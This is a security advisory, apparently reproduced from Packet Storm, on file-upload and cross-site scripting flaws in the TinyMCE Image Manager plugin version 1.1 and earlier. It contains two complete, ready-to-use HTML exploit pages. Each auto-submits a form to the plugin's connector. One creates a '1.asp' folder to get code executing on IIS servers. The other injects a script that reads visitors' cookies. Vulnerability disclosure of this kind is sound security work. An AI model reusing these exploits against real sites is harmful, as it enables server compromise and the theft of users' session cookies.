TinyMCE Image Manager versions 1.1 and below suffer cross site scripting and remote shell upload vulnerabilities.
c4c3c25bb2e20196080641e3f82f29017c3102e1dca37abdab1c4328a6da5895Hello list!
These are Arbitrary File Uploading and Cross-Site Scripting vulnerabilities
in TinyMCE Image Manager plugin for TinyMCE.
-------------------------
Affected products:
-------------------------
Vulnerable are TinyMCE Image Manager 1.1 and previous versions.
-------------------------
Affected vendors:
-------------------------
Dustweb
http://dustweb.ru/projects/tinymce_images/
----------
Details:
----------
Arbitrary File Uploading (WASC-31):
The attack is possible via "1.asp" in folder name. This is bypass method for
executing arbitrary code at IIS web server.
TinyMCE Image Manager AFU.html
<html>
<head>
<title>TinyMCE Image Manager Arbitrary File Uploading exploit (C) 2013
MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack"
action="http://site/tiny_mce/plugins/images/connector/php/" method="post">
<input type="hidden" name="action" value="newfolder">
<input type="hidden" name="type" value="images">
<input type="hidden" name="path" value="">
<input type="hidden" name="name" value="1.asp">
</form>
</body>
</html>
Cross-Site Scripting (WASC-08):
This is persistent XSS on Linux/Unix and reflected XSS on Windows. The code
will execute just after sending request for creating a folder and later on
at requests to connector (at any operations, except creating a folder with
existent name).
TinyMCE Image Manager XSS.html
<html>
<head>
<title>TinyMCE Image Manager XSS exploit (C) 2013 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack"
action="http://site/tiny_mce/plugins/images/connector/php/" method="post">
<input type="hidden" name="action" value="newfolder">
<input type="hidden" name="type" value="images">
<input type="hidden" name="path" value="">
<input type="hidden" name="name" value="<body
onload=alert(document.cookie)>">
</form>
</body>
</html>
------------
Timeline:
------------
2013.05.22 - announced at my site.
2013.05.23 - informed developer.
2013.07.18 - disclosed at my site (http://websecurity.com.ua/6527/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed